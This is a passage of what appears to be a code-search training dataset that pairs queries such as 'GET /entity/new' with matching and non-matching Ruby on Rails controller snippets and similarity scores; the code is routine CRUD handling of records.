add_to_history(page)\n page\n end", "def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{entity_type} #{path.include?('-/')}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end", "def show\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @product }\n end\n end", "def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end", "def show\n params.require(%i[id])\n render json: Ingredient.find_by!(id: params[:id])\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def show\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thing }\n end\n end", "def show\n @entity = Entity.find(params[:id])\n session[:entity_id] = @entity.id\n session[:company_id] = @entity.company.id.to_i\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entity }\n end\n end", "def set_entity\n @entity = Entity::Repo.find(params[:id])\n end", "def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n entity_type = Occi::Core::Resource unless entity_type\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{path.include?('-/')} #{entity_type} #{response.headers.inspect}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end", "def show\n @get = Get.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @get }\n end\n end", "def show\n render json: Item.find(params[\"id\"])\n end", "def show\n render json: Item.find(params[:id])\n end", "def show\n render json: @entity.to_json if request.xhr?\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def get_entity id\n @entities.each do |e|\n return e if e.id == id\n end\n end", "def get(model, id=nil, opts = {})\n name = model_name(model)\n opts.symbolize_keys!\n data = do_restful_action(\"get\", name) do\n self.nagyo[\"#{name}/#{URI.encode(id.to_s)}\"].get({:format => :json, :accept => :json}.merge(opts))\n end\n if id\n # NOTE: if we have an ID and get a Hash - single record matched, \n # otherwise no match and might have returned first page of records\n return data if data.is_a?(Hash)\n else\n return data\n end\n end", "def show\n @one = One.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @one }\n end\n end", "def show\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @fixture }\n end\n end", "def show\n render json: @identity\n end", "def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n dog = Dog.find(params[:id])\n render json: dog\n end", "def create\n @entity = Entity.new(entity_params)\n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity.entity ? @entity.entity : entities_path, notice: 'Entity was successfully created.' }\n format.json { render :show, status: :created, location: @entity }\n else\n\t @entities = @entity.entity ? @entity.entity.sub_entities : Entity.where(entity_id: nil)\n format.html { render :index }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @pet = Pet.find_by(id: params[:id])\n if @pet\n render json: @pet\n else\n render json: {}, status: 404\n end\n end", "def show\n @crm_contact = CrmContact.find(params[:id])\n @EntityObject=@crm_contact\n @entity_tags=@EntityObject.entity_tags\n @entity_tag=EntityTag.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crm_contact }\n end\n end", "def show\n @id = Id.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @id }\n end\n end", "def show\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio_entrega }\n end\n end", "def show\n @owner = Owner.find(params[:id])\n render json: @owner\n end", "def show\n product = Product.find_by_id(params[:id])\n\n render json: product\n end", "def fetch(resource_type,identifier,params={})\n path = '/api/' + resource_type.to_s + '/' + slugify(identifier)\n hydrate(resource_type, http_get(path,params))\n end", "def index\n page = params[:page]\n per_page = (params[:per_page] || 10).to_i\n if page\n entities = _all_instances_query.page(page).per(per_page)\n render json: entities, entity: _get_class,\n meta: { total_pages: entities.total_pages, total_count: entities.total_count }\n else\n entities = _all_instances_query\n respond_with entities, entity: '_get_class'\n end\n end", "def details_by_type_and_id(type, id)\n get(resource_path_for_entity_type(type) + \"/#{id}\")\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "def show\n render json: serialize(read_resource(resource), options), status: :ok\n end", "def show\n @person = Person.find_by_guid!(params[:id])\n\n respond_to do |format|\n format.json { render :json => PersonPresenter.new(@person, current_user) }\n end\n end", "def show\n @specification = Specification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @specification }\n end\n end", "def show\n client= Client.find_by_id params[:id]\n if client != nil\n render(json: client, status: 200) \n else\n head 404\n end \n end", "def get_author\n @author = Author.find_by(:id => params[:id])\n @author ||= Author.find_by(:slug => params[:id])\n render :status => 404, :json => {status: 404, message: \"entity not found\"} if @author.nil?\n end" ]
[ "0.7382582", "0.7379729", "0.72493464", "0.71868736", "0.68805516", "0.66540146", "0.66264147", "0.65857345", "0.65638226", "0.65634507", "0.6502313", "0.63765836", "0.6372421", "0.6354498", "0.63343877", "0.62457335", "0.62457335", "0.6232261", "0.6179839", "0.61748034", "0.6101784", "0.60995555", "0.60755444", "0.606184", "0.6061202", "0.60577244", "0.6014518", "0.5998506", "0.59547335", "0.59547335", "0.595218", "0.59404624", "0.5926156", "0.5926054", "0.5923368", "0.59161574", "0.5910038", "0.59008825", "0.58927304", "0.5884215", "0.58687973", "0.5822588", "0.58102447", "0.58065647", "0.5799555", "0.5794574", "0.5789415", "0.5787848", "0.5787507", "0.5776591", "0.5775859", "0.5762158", "0.57598937", "0.5746083", "0.5742219", "0.57415485", "0.57413256", "0.5740442", "0.5737745", "0.5726557", "0.5722627", "0.5721354", "0.5714601", "0.57129383", "0.57023054", "0.5690568", "0.5690311", "0.5681121", "0.56793517", "0.567661", "0.5672971", "0.56689364", "0.5663458", "0.56625783", "0.56625783", "0.5661103", "0.56569815", "0.5655221", "0.56529987", "0.5648769", "0.56416404", "0.56357443", "0.5634264", "0.56289417", "0.5626736", "0.56233156", "0.5622886", "0.5622886", "0.5622886", "0.5622886", "0.5622886", "0.5622886", "0.5622886", "0.5622886", "0.5622886", "0.5619338", "0.5619108", "0.56183463", "0.5618213", "0.56181663" ]
0.6757204
5
GET /entity/new GET /entity/new.json
def new @entity = @klass.new respond_to do |format| format.html # new.html.erb format.json { render json: @entity } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n @breadcrumb = 'create'\n @entity_type = EntityType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_type }\n end\n end", "def new\n @entity = get_new()\n @verbindung = Verbindung.find(params[:verbindung_id])\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n @breadcrumb = 'create'\n @entity = Entity.new\n @towns = towns_dropdown\n @provinces = provinces_dropdown\n @zipcodes = zipcodes_dropdown\n @regions = Region.order(:name)\n @countries = Country.order(:name)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n @entity_tag = EntityTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_tag }\n end\n end", "def new\n @entity_mapping = EntityMapping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_mapping }\n end\n end", "def new\n @entity = resource_class.new\n end", "def new\n @conceptual_entity = ConceptualEntity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conceptual_entity }\n end\n end", "def new_entity\n nil\n end", "def create\n @entity = Entity.new(params[:entity])\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity, notice: 'Entity was successfully created.' }\n format.json { render json: @entity, status: :created, location: @entity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @entity = Entity.new\n \n if params[:entity_def] != nil\n @all_entityDefs = EntityDef.find_all_by_entity_def_name(params[:entity_def])\n @entity.entity_def = @all_entityDefs.first\n @type = params[:entity_def]\n else\n @all_entityDefs = EntityDef.all\n @type = \"Entity\"\n end\n respond_to do |format|\n format.html # new.html.erbe\n format.json { render json: @entity }\n format.js { @entity }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def create\n @entity = Entity::Repo.new(entity_params)\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to entity_url(@entity), notice: 'Entity was successfully created.' }\n format.json { render :show, status: :created, location: @entity }\n else\n format.html { render :new }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end", "def new\n @entity_datum = EntityDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entity_datum }\n end\n end", "def new\n @resource = Resource.new\n respond_to do |format|\n format.html {render action: :new} # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @entity_subtype = EntitySubtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_subtype }\n end\n end", "def create\n @entity = get_new(params)\n @entity.type = get_type\n @entity.verbindung_id = current_user.verbindung_id\n @entity.creator = current_user.id\n @entity.last_edited_by = current_user.id\n @verbindung = Verbindung.find(current_user.verbindung_id)\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to :action => 'index', notice: 'Event was successfully created.' }\n format.json { render json: @entity, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @collection = current_user.collections.find(params[:collection_id])\n @entity_type = EntityType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_type }\n end\n end", "def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end", "def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end", "def create\n @new_ = New.new(new__params)\n\n respond_to do |format|\n if @new_.save\n format.html { redirect_to @new_, notice: \"New was successfully created.\" }\n format.json { render :show, status: :created, location: @new_ }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @new_.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n if session[:company_id].to_i > 0\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entity }\n end\n else\n redirect :error\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end", "def create(entity)\n post(resource_path_for_entity(entity), entity.to_json)\n end", "def new\n @id = Id.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @id }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end", "def new\n @ped = Ped.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ped }\n end\n end", "def new\n @obj = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @obj }\n end\n end", "def new\n @person = Person.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @actore = Actore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @actore }\n end\n end", "def newent\n @user = User.new\n respond_to do |format|\n format.html # newent.html.erb\n format.json { render :json => @user }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @field = Field.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @field }\n end\n end", "def new\n @field = Field.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @field }\n end\n end", "def new\n @gitto = Gitto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitto }\n end\n end", "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end", "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end", "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end", "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end", "def new\n @moose = Moose.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @moose }\n end\n end", "def new\n @post = model.new\n\n respond_to do |format|\n format.html { render :action => resource_template(\"new\") }\n end\n end", "def new\n @node_template = NodeTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node_template }\n end\n end", "def new\n @entry = Entry.new\n\n render json: @entry\n end", "def new\n @ident = Ident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ident }\n end\n end", "def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @fixture = Fixture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fixture }\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n post = Post.new\n render json: post\n end", "def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end", "def new\n @trnodo = Trnodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trnodo }\n end\n end", "def new\n @enterprise = Enterprise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @enterprise }\n end\n end" ]
[ "0.83444786", "0.77972156", "0.7673708", "0.7581144", "0.75669056", "0.7471776", "0.739064", "0.73436695", "0.72835374", "0.7273284", "0.71737635", "0.71680695", "0.71288955", "0.7038358", "0.7038358", "0.7038358", "0.70266515", "0.7021943", "0.7021473", "0.70163125", "0.697269", "0.6970537", "0.6966719", "0.6954917", "0.6948309", "0.69328856", "0.6901851", "0.6891362", "0.68792737", "0.6870324", "0.6870324", "0.6870324", "0.6870324", "0.68615556", "0.68453336", "0.68433404", "0.6819738", "0.68113893", "0.6791555", "0.6791555", "0.6791555", "0.6791555", "0.6791555", "0.6791555", "0.6791555", "0.6790158", "0.6790158", "0.67864525", "0.67726743", "0.67726743", "0.67726743", "0.67726743", "0.67703027", "0.67670166", "0.67647266", "0.67472553", "0.67398566", "0.67237043", "0.6720422", "0.671772", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.6716747", "0.67101717", "0.6708001", "0.67056763", "0.6696435", "0.6694073", "0.66929036", "0.66929036", "0.66929036", "0.66929036", "0.66929036", "0.66929036", "0.66929036", "0.66929036", "0.66929036", "0.66929036", "0.66913724", "0.6687697", "0.6684928" ]
0.8057238
1
POST /entity POST /entity.json
def create @entity = @klass.new(params[@klass.table_name.singularize]) respond_to do |format| if @entity.save format.html { redirect_to admin_entity_url(entity: @klass_path, id: @entity.id), notice: "#{@klass.model_name.capitalize} was successfully created." } format.json { render json: @entity, status: :created } else format.html { render action: "new" } format.json { render json: @entity.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create(entity)\n post(resource_path_for_entity(entity), entity.to_json)\n end", "def create\n @entity = Entity.new(params[:entity])\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity, notice: 'Entity was successfully created.' }\n format.json { render json: @entity, status: :created, location: @entity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(entity)\n\n # check some basic pre-conditions\n raise \"Endpoint is not connected!\" unless @connected\n raise \"#{entity} not an entity\" unless entity.kind_of? Occi::Core::Entity\n\n # is this entity valid?\n entity.model = @model\n entity.check\n\n Occi::Log.debug \"Entity kind: #{entity.kind}\"\n kind = entity.kind\n raise \"No kind found for #{entity}\" unless kind\n\n # get location for this kind of entity\n Occi::Log.debug \"Kind location: #{entity.kind.location}\"\n location = kind.location\n collection = Occi::Collection.new\n\n # is this entity a Resource or a Link?\n Occi::Log.debug \"Entity class: #{entity.class.name}\"\n collection.resources << entity if entity.kind_of? Occi::Core::Resource\n collection.links << entity if entity.kind_of? Occi::Core::Link\n\n # make the request\n post location, collection\n end", "def create\n @entity = Entity.new(entity_params)\n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity.entity ? @entity.entity : entities_path, notice: 'Entity was successfully created.' }\n format.json { render :show, status: :created, location: @entity }\n else\n\t @entities = @entity.entity ? @entity.entity.sub_entities : Entity.where(entity_id: nil)\n format.html { render :index }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @entity = Entity::Repo.new(entity_params)\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to entity_url(@entity), notice: 'Entity was successfully created.' }\n format.json { render :show, status: :created, location: @entity }\n else\n format.html { render :new }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def postEntityEmployee( entity_id, title, forename, surname, job_title, description, email, phone_number)\n params = Hash.new\n params['entity_id'] = entity_id\n params['title'] = title\n params['forename'] = forename\n params['surname'] = surname\n params['job_title'] = job_title\n params['description'] = description\n params['email'] = email\n params['phone_number'] = phone_number\n return doCurl(\"post\",\"/entity/employee\",params)\n end", "def create\n begin\n @resource = Entity.new(params[:entity])\n @resource.save!\n render :response => :POST\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end", "def postEntityName( entity_id, name, formal_name, branch_name)\n params = Hash.new\n params['entity_id'] = entity_id\n params['name'] = name\n params['formal_name'] = formal_name\n params['branch_name'] = branch_name\n return doCurl(\"post\",\"/entity/name\",params)\n end", "def create\n # Consider request as illegal if performing POST on identifiable resource\n if params[entities_key] && params[entities_key][:id]\n render json: { errors: process_errors([\"Creation of resource with id\"], 404) }, status: :conflict\n return\n end\n \n # Upsert the entity\n entity = ConnecEntity.new(group_id: @group_id, entity_name: entities_key)\n entity.document = (entity.document || {}).merge(params[entities_key])\n entity.save\n \n if entity && entity.errors.empty?\n logger.info(\"INSPECT: #{entities_key} => #{process_entity(entity).to_json}\")\n render json: { entities_key => process_entity(entity.reload) }, status: :created, location: resource_url(entity)\n else\n render json: { errors: process_errors(entity.errors.full_messages, 400, entity) }, status: :bad_request\n end\n \n end", "def add_entity\n res = {\n :success => false,\n :msg => '',\n :data => {}\n }\n if (params[:id].nil?)\n res[:msg] = 'order/update_entity was called without an :id'\n return render(:json => res.to_json, :layout => false)\n end\n \n order = Order.find_by_id(params[:id])\n entities = order.type.entities\n entities.each do |e|\n if (e.name == params[\"entity\"])\n data = params[e.name]\n data[:order_id] = params[:id]\n data[:order_type_entity_id] = e.id\n oe = OrderEntity.create(data)\n \n res[:success] = true\n res[:data][:entity] = oe.to_h\n res[:msg] = \"Added #{oe.type.name.capitalize}\" \n end\n end \n render :json => res.to_json, :layout => false \n end", "def create\n entity_data = entity_params\n entity_data[:uid] = Services::UniqueIdGenerator.new.call\n cmd = Commands::Entities::CreateEntity.new(entity_data)\n execute(cmd)\n redirect_to entities_url, success: 'Entity was successfully created.'\n rescue => error\n redirect_to new_entity_url, warning: error_messages(error)\n end", "def entity_params\n params.require(:entity).permit(:name, :entity_type, :entity_id)\n end", "def save_entity(entity)\n result = service.put(entity.path, entity)\n entity[:updatedAt] = result[:updatedAt]\n entity[:createdAt] = result[:createdAt]\n entity\n end", "def postEntityBulkJson( data)\n params = Hash.new\n params['data'] = data\n return doCurl(\"post\",\"/entity/bulk/json\",params)\n end", "def post_and_give_me_a_json(additional_path, entity = nil)\n if self.service_base_path != nil\n \n additional = \"\"\n if additional_path != nil\n additional = \"/#{additional_path}\"\n end\n \n if entity != nil\n message = self.http_client.post \"#{self.base_url}#{self.service_base_path}#{additional}.json?api_key=#{self.access_token}\", entity.to_hash\n else\n message = self.http_client.post \"#{self.base_url}#{self.service_base_path}#{additional}.json?api_key=#{self.access_token}\"\n end\n trata_erro(message.content)\n end\n end", "def create_entity(_options = {})\n # TODO: Handle exceptions\n entity = self.class.client.post(to_entity)[\"entity\"][self.class.entity_type].with_indifferent_access\n self.gr_id = entity[:id]\n end", "def create\n @student_entity = StudentEntity.new(student_entity_params)\n\n respond_to do |format|\n if @student_entity.save\n format.json { render :show, status: :created, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @entity = Entity.new(params[:databaseformalizer_entity])\n @entity.attr_vals.clear\n EntitiesHelper.setAttrVals(params[:attr_vals], @entity)\n \n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity, notice: 'Entity was successfully created.' }\n format.json { render json: @entity, status: :created, location: @entity 